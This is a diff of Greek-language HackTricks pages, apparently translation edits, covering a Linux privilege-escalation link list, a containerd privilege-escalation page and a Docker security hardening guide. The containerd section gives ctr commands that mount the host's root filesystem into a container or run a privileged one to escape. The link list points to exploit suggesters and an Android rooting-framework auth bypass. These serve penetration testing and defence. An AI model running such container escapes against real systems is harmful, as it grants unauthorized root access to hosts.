nfs-no_root_squash-misconfiguration-pe.md
{{#endref}}
### Διαφυγή από περιορισμένα Shells
{{#ref}}
escaping-from-limited-bash.md
{{#endref}}
### Cisco - vmanage
{{#ref}}
cisco-vmanage.md
{{#endref}}
@ -1404,7 +1417,7 @@ cisco-vmanage.md
**Mestaploit:** _**multi/recon/local_exploit_suggester**_\
**Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\
**EvilAbigail (φυσική πρόσβαση):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
**Συγκέντρωση περισσότερων scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
**Συλλογή περισσότερων scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
## Αναφορές
@ -1426,9 +1439,11 @@ cisco-vmanage.md
- [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
- [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/)
## Android rooting frameworks: κατάχρηση manager-channel
Τα Android rooting frameworks συνήθως συνδέουν μια syscall για να εκθέσουν τη λειτουργικότητα του πυρήνα με προνόμια σε έναν διαχειριστή χώρου χρηστών. Αδύνατη αυθεντικοποίηση διαχειριστή (π.χ., ελέγχους υπογραφής με βάση την παραγγελία FD ή κακούς κωδικούς πρόσβασης) μπορεί να επιτρέψει σε μια τοπική εφαρμογή να προσποιηθεί τον διαχειριστή και να ανυψώσει σε root σε ήδη-rooted συσκευές. Μάθετε περισσότερα και λεπτομέρειες εκμετάλλευσης εδώ:
Τα Android rooting frameworks συνήθως συνδέουν μια syscall για να εκθέσουν λειτουργίες πυρήνα με προνόμια σε έναν διαχειριστή χώρου χρηστών. Αδύνατη αυθεντικοποίηση διαχειριστή (π.χ., ελέγχους υπογραφής με βάση την παραγγελία FD ή κακούς κωδικούς πρόσβασης) μπορεί να επιτρέψει σε μια τοπική εφαρμογή να προσποιηθεί τον διαχειριστή και να ανυψώσει σε root σε ήδη-rooted συσκευές. Μάθετε περισσότερα και λεπτομέρειες εκμετάλλευσης εδώ:
{{#ref}}
android-rooting-frameworks-manager-auth-bypass-syscall-hook.md

View File

@ -2,9 +2,10 @@
{{#include ../../banners/hacktricks-training.md}}
## Βασικές πληροφορίες
## Basic information
Πηγαίνετε στον παρακάτω σύνδεσμο για να μάθετε **τι είναι το containerd** και το `ctr`:
Go to the following link to learn **what is containerd** and `ctr`:
{{#ref}}
../../network-services-pentesting/2375-pentesting-docker.md
@ -24,18 +25,19 @@ REF TYPE
registry:5000/alpine:latest application/vnd.docker.distribution.manifest.v2+json sha256:0565dfc4f13e1df6a2ba35e8ad549b7cb8ce6bccbc472ba69e3fe9326f186fe2 100.1 MiB linux/amd64 -
registry:5000/ubuntu:latest application/vnd.docker.distribution.manifest.v2+json sha256:ea80198bccd78360e4a36eb43f386134b837455dc5ad03236d97133f3ed3571a 302.8 MiB linux/amd64 -
```
Και στη συνέχεια **τρέξτε μία από αυτές τις εικόνες, προσαρτώντας τον φάκελο ρίζας του host σε αυτήν**:
Και στη συνέχεια **τρέξτε μία από αυτές τις εικόνες, τοποθετώντας τον φάκελο ρίζας του host σε αυτήν**:
```bash
ctr run --mount type=bind,src=/,dst=/,options=rbind -t registry:5000/ubuntu:latest ubuntu bash
```
## PE 2
Τρέξτε ένα container με προνόμια και ξεφύγετε από αυτό.\
Μπορείτε να τρέξετε ένα privileged container ως:
Μπορείτε να τρέξετε ένα container με προνόμια ως:
```bash
ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash
```
Μπορείτε να χρησιμοποιήσετε μερικές από τις τεχνικές που αναφέρονται στην παρακάτω σελίδα για να **διαφύγετε από αυτό εκμεταλλευόμενοι τις προνομιακές δυνατότητες**:
Μπορείτε να χρησιμοποιήσετε μερικές από τις τεχνικές που αναφέρονται στην παρακάτω σελίδα για να **διαφύγετε από αυτό εκμεταλλευόμενοι προνομιακές δυνατότητες**:
{{#ref}}
docker-security/

View File

@ -2,17 +2,17 @@
{{#include ../../../banners/hacktricks-training.md}}
## **Βασική Ασφάλεια Μηχανής Docker**
## **Βασική Ασφάλεια Docker Engine**
Η **μηχανή Docker** χρησιμοποιεί τα **Namespaces** και **Cgroups** του πυρήνα Linux για να απομονώσει τα κοντέινερ, προσφέροντας μια βασική στρώση ασφάλειας. Επιπλέον προστασία παρέχεται μέσω της **αφαίρεσης Δυνατοτήτων**, **Seccomp** και **SELinux/AppArmor**, ενισχύοντας την απομόνωση των κοντέινερ. Ένα **auth plugin** μπορεί να περιορίσει περαιτέρω τις ενέργειες των χρηστών.
Ο **Docker engine** χρησιμοποιεί τα **Namespaces** και **Cgroups** του πυρήνα Linux για να απομονώσει τα κοντέινερ, προσφέροντας μια βασική στρώση ασφάλειας. Επιπλέον προστασία παρέχεται μέσω της **Αφαίρεσης Δυνατοτήτων**, **Seccomp**, και **SELinux/AppArmor**, ενισχύοντας την απομόνωση των κοντέινερ. Ένα **auth plugin** μπορεί να περιορίσει περαιτέρω τις ενέργειες των χρηστών.
![Docker Security](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png)
### Ασφαλής Πρόσβαση στη Μηχανή Docker
### Ασφαλής Πρόσβαση στον Docker Engine
Η μηχανή Docker μπορεί να προσπελαστεί είτε τοπικά μέσω ενός Unix socket είτε απομακρυσμένα χρησιμοποιώντας HTTP. Για απομακρυσμένη πρόσβαση, είναι απαραίτητο να χρησιμοποιούνται HTTPS και **TLS** για να διασφαλιστούν η εμπιστευτικότητα, η ακεραιότητα και η ταυτοποίηση.
Ο Docker engine μπορεί να προσπελαστεί είτε τοπικά μέσω ενός Unix socket είτε απομακρυσμένα χρησιμοποιώντας HTTP. Για απομακρυσμένη πρόσβαση, είναι απαραίτητο να χρησιμοποιούνται HTTPS και **TLS** για να διασφαλιστούν η εμπιστευτικότητα, η ακεραιότητα και η αυθεντικοποίηση.
Η μηχανή Docker, από προεπιλογή, ακούει στο Unix socket στο `unix:///var/run/docker.sock`. Στα συστήματα Ubuntu, οι επιλογές εκκίνησης του Docker ορίζονται στο `/etc/default/docker`. Για να επιτρέψετε την απομακρυσμένη πρόσβαση στο Docker API και τον πελάτη, εκθέστε τον Docker daemon μέσω ενός HTTP socket προσθέτοντας τις παρακάτω ρυθμίσεις:
Ο Docker engine, από προεπιλογή, ακούει στο Unix socket στο `unix:///var/run/docker.sock`. Στα συστήματα Ubuntu, οι επιλογές εκκίνησης του Docker ορίζονται στο `/etc/default/docker`. Για να επιτρέψετε απομακρυσμένη πρόσβαση στο Docker API και τον πελάτη, εκθέστε τον Docker daemon μέσω ενός HTTP socket προσθέτοντας τις παρακάτω ρυθμίσεις:
```bash
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
sudo service docker restart
@ -20,13 +20,13 @@ sudo service docker restart
Ωστόσο, η έκθεση του Docker daemon μέσω HTTP δεν συνιστάται λόγω ανησυχιών ασφαλείας. Είναι σκόπιμο να ασφαλίσετε τις συνδέσεις χρησιμοποιώντας HTTPS. Υπάρχουν δύο κύριες προσεγγίσεις για την ασφάλιση της σύνδεσης:
1. Ο πελάτης επαληθεύει την ταυτότητα του διακομιστή.
2. Και ο πελάτης και ο διακομιστής αλληλοεπιβεβαιώνουν την ταυτότητα ο ένας του άλλου.
2. Και ο πελάτης και ο διακομιστής αλληλοεπιβεβαιώνουν την ταυτότητα του άλλου.
Τα πιστοποιητικά χρησιμοποιούνται για να επιβεβαιώσουν την ταυτότητα ενός διακομιστή. Για λεπτομερείς παραδείγματα και των δύο μεθόδων, ανατρέξτε σε [**αυτήν την οδηγία**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/).
### Ασφάλεια Εικόνων Κοντέινερ
Οι εικόνες κοντέινερ μπορούν να αποθηκευτούν είτε σε ιδιωτικά είτε σε δημόσια αποθετήρια. Το Docker προσφέρει πολλές επιλογές αποθήκευσης για εικόνες κοντέινερ:
Οι εικόνες κοντέινερ μπορούν να αποθηκευτούν σε ιδιωτικά ή δημόσια αποθετήρια. Το Docker προσφέρει πολλές επιλογές αποθήκευσης για εικόνες κοντέινερ:
- [**Docker Hub**](https://hub.docker.com): Μια δημόσια υπηρεσία μητρώου από το Docker.
- [**Docker Registry**](https://github.com/docker/distribution): Ένα έργο ανοιχτού κώδικα που επιτρέπει στους χρήστες να φιλοξενούν το δικό τους μητρώο.
@ -34,7 +34,7 @@ sudo service docker restart
### Σάρωση Εικόνας
Τα κοντέινερ μπορεί να έχουν **ευπάθειες ασφαλείας** είτε λόγω της βασικής εικόνας είτε λόγω του λογισμικού που είναι εγκατεστημένο πάνω από τη βασική εικόνα. Το Docker εργάζεται σε ένα έργο που ονομάζεται **Nautilus** που εκτελεί σάρωση ασφαλείας των Κοντέινερ και καταγράφει τις ευπάθειες. Το Nautilus λειτουργεί συγκρίνοντας κάθε επίπεδο εικόνας Κοντέινερ με το αποθετήριο ευπαθειών για να εντοπίσει τα κενά ασφαλείας.
Τα κοντέινερ μπορεί να έχουν **ευπάθειες ασφαλείας** είτε λόγω της βασικής εικόνας είτε λόγω του λογισμικού που είναι εγκατεστημένο πάνω από τη βασική εικόνα. Το Docker εργάζεται σε ένα έργο που ονομάζεται **Nautilus** που εκτελεί σάρωση ασφαλείας των Κοντέινερ και καταγράφει τις ευπάθειες. Το Nautilus λειτουργεί συγκρίνοντας κάθε επίπεδο εικόνας Κοντέινερ με το αποθετήριο ευπαθειών για να εντοπίσει κενά ασφαλείας.
Για περισσότερες [**πληροφορίες διαβάστε αυτό**](https://docs.docker.com/engine/scan/).
@ -68,7 +68,7 @@ snyk container test <image> --json-file-output=<output file> --severity-threshol
```bash
clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5
```
### Υπογραφή Εικόνας Docker
### Docker Image Signing
Η υπογραφή εικόνας Docker διασφαλίζει την ασφάλεια και την ακεραιότητα των εικόνων που χρησιμοποιούνται σε κοντέινερ. Ακολουθεί μια συνοπτική εξήγηση:
@ -96,21 +96,21 @@ tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private
**Namespaces**
- **Σκοπός**: Διασφαλίζει την απομόνωση πόρων όπως διαδικασίες, δίκτυο και συστήματα αρχείων. Ιδιαίτερα στο Docker, τα namespaces κρατούν τις διαδικασίες ενός κοντέινερ ξεχωριστές από τον host και άλλα κοντέινερ.
- **Σκοπός**: Διασφαλίζει την απομόνωση πόρων όπως διαδικασίες, δίκτυο και συστήματα αρχείων. Ιδιαίτερα στο Docker, τα namespaces διατηρούν τις διαδικασίες ενός κοντέινερ ξεχωριστές από τον host και άλλα κοντέινερ.
- **Χρήση του `unshare`**: Η εντολή `unshare` (ή η υποκείμενη syscall) χρησιμοποιείται για τη δημιουργία νέων namespaces, παρέχοντας ένα επιπλέον επίπεδο απομόνωσης. Ωστόσο, ενώ το Kubernetes δεν μπλοκάρει εγγενώς αυτό, το Docker το κάνει.
- **Περιορισμός**: Η δημιουργία νέων namespaces δεν επιτρέπει σε μια διαδικασία να επιστρέψει στα προεπιλεγμένα namespaces του host. Για να διεισδύσει στα namespaces του host, συνήθως απαιτείται πρόσβαση στον κατάλογο `/proc` του host, χρησιμοποιώντας το `nsenter` για είσοδο.
**Control Groups (CGroups)**
- **Λειτουργία**: Χρησιμοποιούνται κυρίως για την κατανομή πόρων μεταξύ διαδικασιών.
- **Ασφαλιστική Πτυχή**: Τα CGroups από μόνα τους δεν προσφέρουν ασφάλεια απομόνωσης, εκτός από τη δυνατότητα `release_agent`, η οποία, αν είναι κακώς ρυθμισμένη, θα μπορούσε ενδεχομένως να εκμεταλλευτεί για μη εξουσιοδοτημένη πρόσβαση.
- **Πτυχή Ασφαλείας**: Τα CGroups από μόνα τους δεν προσφέρουν ασφάλεια απομόνωσης, εκτός από τη δυνατότητα `release_agent`, η οποία, αν είναι κακώς ρυθμισμένη, θα μπορούσε ενδεχομένως να εκμεταλλευτεί για μη εξουσιοδοτημένη πρόσβαση.
**Capability Drop**
- **Σημασία**: Είναι ένα κρίσιμο χαρακτηριστικό ασφάλειας για την απομόνωση διαδικασιών.
- **Λειτουργικότητα**: Περιορίζει τις ενέργειες που μπορεί να εκτελέσει μια διαδικασία root απορρίπτοντας ορισμένες δυνατότητες. Ακόμη και αν μια διαδικασία εκτελείται με δικαιώματα root, η έλλειψη των απαραίτητων δυνατοτήτων την εμποδίζει να εκτελεί προνομιακές ενέργειες, καθώς οι syscalls θα αποτύχουν λόγω ανεπαρκών δικαιωμάτων.
- **Σημασία**: Είναι ένα κρίσιμο χαρακτηριστικό ασφαλείας για την απομόνωση διαδικασιών.
- **Λειτουργικότητα**: Περιορίζει τις ενέργειες που μπορεί να εκτελέσει μια διαδικασία root απορρίπτοντας ορισμένες ικανότητες. Ακόμα και αν μια διαδικασία εκτελείται με δικαιώματα root, η έλλειψη των απαραίτητων ικανοτήτων την εμποδίζει να εκτελεί προνομιακές ενέργειες, καθώς οι syscalls θα αποτύχουν λόγω ανεπαρκών δικαιωμάτων.
Αυτές είναι οι **υπόλοιπες δυνατότητες** μετά την απόρριψη των άλλων:
Αυτές είναι οι **υπόλοιπες ικανότητες** μετά την απόρριψη των άλλων:
```
Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep
```
@ -131,7 +131,7 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca
**Namespaces** είναι μια δυνατότητα του πυρήνα Linux που **διαχωρίζει τους πόρους του πυρήνα** έτσι ώστε ένα σύνολο **διαδικασιών** **να βλέπει** ένα σύνολο **πόρων** ενώ **ένα άλλο** σύνολο **διαδικασιών** βλέπει ένα **διαφορετικό** σύνολο πόρων. Η δυνατότητα λειτουργεί με το να έχει τον ίδιο namespace για ένα σύνολο πόρων και διαδικασιών, αλλά αυτοί οι namespaces αναφέρονται σε διακριτούς πόρους. Οι πόροι μπορεί να υπάρχουν σε πολλαπλούς χώρους.
Το Docker χρησιμοποιεί τους παρακάτω Namespaces του πυρήνα Linux για να επιτύχει την απομόνωση των κοντέινερ:
Το Docker χρησιμοποιεί τους παρακάτω Namespaces του πυρήνα Linux για να επιτύχει την απομόνωση των Containers:
- pid namespace
- mount namespace
@ -147,8 +147,8 @@ namespaces/
### cgroups
Η δυνατότητα του πυρήνα Linux **cgroups** παρέχει τη δυνατότητα να **περιορίσει τους πόρους όπως cpu, μνήμη, io, εύρος ζώνης δικτύου μεταξύ** ενός συνόλου διαδικασιών. Το Docker επιτρέπει τη δημιουργία Κοντέινερ χρησιμοποιώντας τη δυνατότητα cgroup που επιτρέπει τον έλεγχο των πόρων για το συγκεκριμένο Κοντέινερ.\
Ακολουθεί ένα Κοντέινερ που δημιουργήθηκε με περιορισμένη μνήμη χώρου χρήστη στα 500m, περιορισμένη μνήμη πυρήνα στα 50m, μερίδιο cpu στα 512, blkioweight στα 400. Το μερίδιο CPU είναι μια αναλογία που ελέγχει τη χρήση CPU του Κοντέινερ. Έχει μια προεπιλεγμένη τιμή 1024 και εύρος μεταξύ 0 και 1024. Εάν τρία Κοντέινερ έχουν το ίδιο μερίδιο CPU 1024, κάθε Κοντέινερ μπορεί να καταναλώσει έως και 33% της CPU σε περίπτωση διαμάχης πόρων CPU. Το blkio-weight είναι μια αναλογία που ελέγχει το IO του Κοντέινερ. Έχει μια προεπιλεγμένη τιμή 500 και εύρος μεταξύ 10 και 1000.
Η δυνατότητα του πυρήνα Linux **cgroups** παρέχει τη δυνατότητα να **περιορίσει τους πόρους όπως cpu, μνήμη, io, εύρος ζώνης δικτύου μεταξύ** ενός συνόλου διαδικασιών. Το Docker επιτρέπει τη δημιουργία Containers χρησιμοποιώντας τη δυνατότητα cgroup που επιτρέπει τον έλεγχο των πόρων για το συγκεκριμένο Container.\
Ακολουθεί ένα Container που δημιουργήθηκε με περιορισμένη μνήμη χώρου χρήστη στα 500m, περιορισμένη μνήμη πυρήνα στα 50m, μερίδιο cpu στα 512, blkioweight στα 400. Το μερίδιο CPU είναι μια αναλογία που ελέγχει τη χρήση CPU του Container. Έχει προεπιλεγμένη τιμή 1024 και εύρος μεταξύ 0 και 1024. Εάν τρία Containers έχουν το ίδιο μερίδιο CPU 1024, κάθε Container μπορεί να καταναλώσει έως και 33% της CPU σε περίπτωση διαμάχης πόρων CPU. Το blkio-weight είναι μια αναλογία που ελέγχει το IO του Container. Έχει προεπιλεγμένη τιμή 500 και εύρος μεταξύ 10 και 1000.
```
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
```
@ -166,9 +166,9 @@ cgroups.md
### Δυνατότητες
Οι δυνατότητες επιτρέπουν **πιο λεπτομερή έλεγχο για τις δυνατότητες που μπορούν να επιτραπούν** για τον χρήστη root. Το Docker χρησιμοποιεί τη δυνατότητα του πυρήνα Linux για να **περιορίσει τις λειτουργίες που μπορούν να γίνουν μέσα σε ένα Container** ανεξαρτήτως του τύπου του χρήστη.
Οι δυνατότητες επιτρέπουν **πιο λεπτομερή έλεγχο για τις δυνατότητες που μπορούν να επιτραπούν** για τον χρήστη root. Το Docker χρησιμοποιεί τη δυνατότητα του πυρήνα Linux για να **περιορίσει τις λειτουργίες που μπορούν να γίνουν μέσα σε ένα Container** ανεξαρτήτως του τύπου χρήστη.
Όταν εκτελείται ένα docker container, η **διαδικασία απορρίπτει ευαίσθητες δυνατότητες που θα μπορούσε να χρησιμοποιήσει για να ξεφύγει από την απομόνωση**. Αυτό προσπαθεί να διασφαλίσει ότι η διαδικασία δεν θα είναι σε θέση να εκτελέσει ευαίσθητες ενέργειες και να ξεφύγει:
Όταν εκτελείται ένα docker container, η **διαδικασία απορρίπτει ευαίσθητες δυνατότητες που θα μπορούσε να χρησιμοποιήσει για να διαφύγει από την απομόνωση**. Αυτό προσπαθεί να διασφαλίσει ότι η διαδικασία δεν θα είναι σε θέση να εκτελέσει ευαίσθητες ενέργειες και να διαφύγει:
{{#ref}}
../linux-capabilities.md
@ -194,7 +194,7 @@ apparmor.md
- **Σύστημα Ετικετών**: Το SELinux αναθέτει μια μοναδική ετικέτα σε κάθε διαδικασία και αντικείμενο συστήματος αρχείων.
- **Επιβολή Πολιτικής**: Επιβάλλει πολιτικές ασφαλείας που καθορίζουν ποιες ενέργειες μπορεί να εκτελέσει μια ετικέτα διαδικασίας σε άλλες ετικέτες εντός του συστήματος.
- **Ετικέτες Διαδικασιών Container**: Όταν οι μηχανές container ξεκινούν διαδικασίες container, συνήθως τους ανατίθεται μια περιορισμένη ετικέτα SELinux, συνήθως `container_t`.
- **Ετικέτες Διαδικασίας Container**: Όταν οι μηχανές container ξεκινούν διαδικασίες container, συνήθως τους ανατίθεται μια περιορισμένη ετικέτα SELinux, συνήθως `container_t`.
- **Ετικετοποίηση Αρχείων μέσα σε Containers**: Τα αρχεία μέσα στο container συνήθως ετικετοποιούνται ως `container_file_t`.
- **Κανόνες Πολιτικής**: Η πολιτική SELinux διασφαλίζει κυρίως ότι οι διαδικασίες με την ετικέτα `container_t` μπορούν να αλληλεπιδρούν μόνο (να διαβάζουν, να γράφουν, να εκτελούν) με αρχεία που ετικετοποιούνται ως `container_file_t`.
@ -247,9 +247,9 @@ docker-privileged.md
#### no-new-privileges
Εάν εκτελείτε ένα κοντέινερ όπου ένας επιτιθέμενος καταφέρνει να αποκτήσει πρόσβαση ως χρήστης χαμηλών δικαιωμάτων. Εάν έχετε ένα **κακώς ρυθμισμένο suid binary**, ο επιτιθέμενος μπορεί να το εκμεταλλευτεί και **να κλιμακώσει τα δικαιώματα μέσα** στο κοντέινερ. Αυτό μπορεί να του επιτρέψει να διαφύγει από αυτό.
Εάν εκτελείτε ένα κοντέινερ όπου ένας επιτιθέμενος καταφέρνει να αποκτήσει πρόσβαση ως χρήστης χαμηλών προνομίων. Εάν έχετε μια **κακώς ρυθμισμένη δυαδική suid**, ο επιτιθέμενος μπορεί να την εκμεταλλευτεί και να **κλιμακώσει τα προνόμια μέσα** στο κοντέινερ. Αυτό μπορεί να του επιτρέψει να διαφύγει από αυτό.
Η εκτέλεση του κοντέινερ με την επιλογή **`no-new-privileges`** ενεργοποιημένη θα **αποτρέψει αυτόν τον τύπο κλιμάκωσης δικαιωμάτων**.
Η εκτέλεση του κοντέινερ με την επιλογή **`no-new-privileges`** ενεργοποιημένη θα **αποτρέψει αυτόν τον τύπο κλιμάκωσης προνομίων**.
```
docker run -it --security-opt=no-new-privileges:true nonewpriv
```
@ -290,7 +290,7 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv
```bash
docker build --secret my_key=my_value ,src=path/to/my_secret_file .
```
Για τα μυστικά που απαιτούνται σε ένα τρέχον κοντέινερ, **Docker Compose και Kubernetes** προσφέρουν ισχυρές λύσεις. Το Docker Compose χρησιμοποιεί ένα κλειδί `secrets` στην ορισμό υπηρεσίας για να καθορίσει τα μυστικά αρχεία, όπως φαίνεται σε ένα παράδειγμα `docker-compose.yml`:
Για τα μυστικά που απαιτούνται σε ένα εκτελούμενο κοντέινερ, **Docker Compose και Kubernetes** προσφέρουν ισχυρές λύσεις. Το Docker Compose χρησιμοποιεί ένα κλειδί `secrets` στην ορισμό υπηρεσίας για να καθορίσει αρχεία μυστικών, όπως φαίνεται σε ένα παράδειγμα `docker-compose.yml`:
```yaml
version: "3.7"
services:
@ -305,11 +305,11 @@ file: ./my_secret_file.txt
```
Αυτή η ρύθμιση επιτρέπει τη χρήση μυστικών κατά την εκκίνηση υπηρεσιών με το Docker Compose.
Σε περιβάλλοντα Kubernetes, τα μυστικά υποστηρίζονται εγγενώς και μπορούν να διαχειριστούν περαιτέρω με εργαλεία όπως το [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Οι Ρόλοι Βασισμένοι σε Ελέγχους Πρόσβασης (RBAC) του Kubernetes ενισχύουν την ασφάλεια της διαχείρισης μυστικών, παρόμοια με το Docker Enterprise.
Σε περιβάλλοντα Kubernetes, τα μυστικά υποστηρίζονται εγγενώς και μπορούν να διαχειριστούν περαιτέρω με εργαλεία όπως το [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Οι Ρόλοι Βασισμένοι σε Ελέγχους Πρόσβασης (RBAC) του Kubernetes ενισχύουν την ασφάλεια διαχείρισης μυστικών, παρόμοια με το Docker Enterprise.
### gVisor
**gVisor** είναι ένας πυρήνας εφαρμογής, γραμμένος σε Go, που υλοποιεί ένα σημαντικό μέρος της επιφάνειας του συστήματος Linux. Περιλαμβάνει ένα [Open Container Initiative (OCI)](https://www.opencontainers.org) runtime που ονομάζεται `runsc` και παρέχει ένα **όριο απομόνωσης μεταξύ της εφαρμογής και του πυρήνα του host**. Το runtime `runsc` ενσωματώνεται με το Docker και το Kubernetes, διευκολύνοντας την εκτέλεση απομονωμένων κοντέινερ.
**gVisor** είναι ένας πυρήνας εφαρμογής, γραμμένος σε Go, που υλοποιεί ένα σημαντικό μέρος της επιφάνειας του συστήματος Linux. Περιλαμβάνει ένα [Open Container Initiative (OCI)](https://www.opencontainers.org) runtime που ονομάζεται `runsc` και παρέχει ένα **όριο απομόνωσης μεταξύ της εφαρμογής και του πυρήνα του host**. Το runtime `runsc` ενσωματώνεται με το Docker και το Kubernetes, καθιστώντας απλό το τρέξιμο απομονωμένων κοντέινερ.
{{#ref}}
https://github.com/google/gvisor
@ -317,7 +317,7 @@ https://github.com/google/gvisor
### Kata Containers
**Kata Containers** είναι μια κοινότητα ανοιχτού κώδικα που εργάζεται για την κατασκευή ενός ασφαλούς runtime κοντέινερ με ελαφριές εικονικές μηχανές που αισθάνονται και αποδίδουν όπως τα κοντέινερ, αλλά παρέχουν **ισχυρότερη απομόνωση φόρτου εργασίας χρησιμοποιώντας τεχνολογία εικονικοποίησης υλικού** ως δεύτερη γραμμή άμυνας.
**Kata Containers** είναι μια κοινότητα ανοιχτού κώδικα που εργάζεται για την κατασκευή ενός ασφαλούς runtime κοντέινερ με ελαφριές εικονικές μηχανές που αισθάνονται και αποδίδουν όπως τα κοντέινερ, αλλά παρέχουν **ισχυρότερη απομόνωση φορτίου χρησιμοποιώντας τεχνολογία εικονικοποίησης υλικού** ως δεύτερη γραμμή άμυνας.
{{#ref}}
https://katacontainers.io/
@ -325,20 +325,20 @@ https://katacontainers.io/
### Συμβουλές Περίληψης
- **Μην χρησιμοποιείτε την επιλογή `--privileged` ή τοποθετήστε ένα** [**Docker socket μέσα στο κοντέινερ**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Το docker socket επιτρέπει τη δημιουργία κοντέινερ, επομένως είναι ένας εύκολος τρόπος για να αποκτήσετε πλήρη έλεγχο του host, για παράδειγμα, εκτελώντας ένα άλλο κοντέινερ με την επιλογή `--privileged`.
- **Μην εκτελείτε ως root μέσα στο κοντέινερ. Χρησιμοποιήστε έναν** [**διαφορετικό χρήστη**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **και** [**namespaces χρηστών**](https://docs.docker.com/engine/security/userns-remap/)**.** Ο root στο κοντέινερ είναι ο ίδιος με αυτόν του host εκτός αν έχει ανακατανεμηθεί με namespaces χρηστών. Είναι μόνο ελαφρώς περιορισμένος από, κυρίως, τα namespaces του Linux, τις δυνατότητες και τα cgroups.
- [**Αφαιρέστε όλες τις δυνατότητες**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) και ενεργοποιήστε μόνο αυτές που απαιτούνται** (`--cap-add=...`). Πολλές φόρτοι εργασίας δεν χρειάζονται καμία δυνατότητα και η προσθήκη τους αυξάνει την έκταση μιας πιθανής επίθεσης.
- [**Χρησιμοποιήστε την επιλογή ασφαλείας “no-new-privileges”**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) για να αποτρέψετε τις διαδικασίες από το να αποκτούν περισσότερες δυνατότητες, για παράδειγμα μέσω δυαδικών suid.
- **Μην χρησιμοποιείτε την επιλογή `--privileged` ή να τοποθετείτε ένα** [**Docker socket μέσα στο κοντέινερ**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Το docker socket επιτρέπει τη δημιουργία κοντέινερ, οπότε είναι ένας εύκολος τρόπος να αποκτήσετε πλήρη έλεγχο του host, για παράδειγμα, εκτελώντας ένα άλλο κοντέινερ με την επιλογή `--privileged`.
- **Μην τρέχετε ως root μέσα στο κοντέινερ. Χρησιμοποιήστε έναν** [**διαφορετικό χρήστη**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **και** [**user namespaces**](https://docs.docker.com/engine/security/userns-remap/)**.** Ο root στο κοντέινερ είναι ο ίδιος με αυτόν στον host εκτός αν έχει ανακατανεμηθεί με user namespaces. Είναι μόνο ελαφρώς περιορισμένος από, κυρίως, Linux namespaces, δυνατότητες και cgroups.
- [**Αφαιρέστε όλες τις δυνατότητες**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) και ενεργοποιήστε μόνο αυτές που απαιτούνται** (`--cap-add=...`). Πολλά φορτία δεν χρειάζονται καμία δυνατότητα και η προσθήκη τους αυξάνει την έκταση μιας πιθανής επίθεσης.
- [**Χρησιμοποιήστε την επιλογή ασφαλείας “no-new-privileges”**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) για να αποτρέψετε τις διαδικασίες από το να αποκτούν περισσότερες δυνατότητες, για παράδειγμα μέσω suid binaries.
- [**Περιορίστε τους πόρους που είναι διαθέσιμοι στο κοντέινερ**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Οι περιορισμοί πόρων μπορούν να προστατεύσουν τη μηχανή από επιθέσεις άρνησης υπηρεσίας.
- **Ρυθμίστε** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(ή SELinux)** προφίλ για να περιορίσετε τις ενέργειες και τις syscalls που είναι διαθέσιμες για το κοντέινερ στο ελάχιστο που απαιτείται.
- **Χρησιμοποιήστε** [**επίσημες εικόνες docker**](https://docs.docker.com/docker-hub/official_images/) **και απαιτήστε υπογραφές** ή κατασκευάστε τις δικές σας βασισμένες σε αυτές. Μην κληρονομείτε ή χρησιμοποιείτε [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) εικόνες. Αποθηκεύστε επίσης τα κλειδιά root, τη φράση πρόσβασης σε ασφαλές μέρος. Το Docker έχει σχέδια να διαχειρίζεται τα κλειδιά με το UCP.
- **Ανακατασκευάστε τακτικά** τις εικόνες σας για να **εφαρμόσετε διορθώσεις ασφαλείας στον host και τις εικόνες.**
- Διαχειριστείτε τα **μυστικά σας με σύνεση** ώστε να είναι δύσκολο για τον επιτιθέμενο να τα αποκτήσει.
- **Ανακατασκευάστε τακτικά** τις εικόνες σας για να **εφαρμόσετε ενημερώσεις ασφαλείας στον host και στις εικόνες.**
- Διαχειριστείτε τα **μυστικά σας σοφά** ώστε να είναι δύσκολο για τον επιτιθέμενο να τα αποκτήσει.
- Εάν **εκθέτετε τον docker daemon χρησιμοποιήστε HTTPS** με πιστοποίηση πελάτη και διακομιστή.
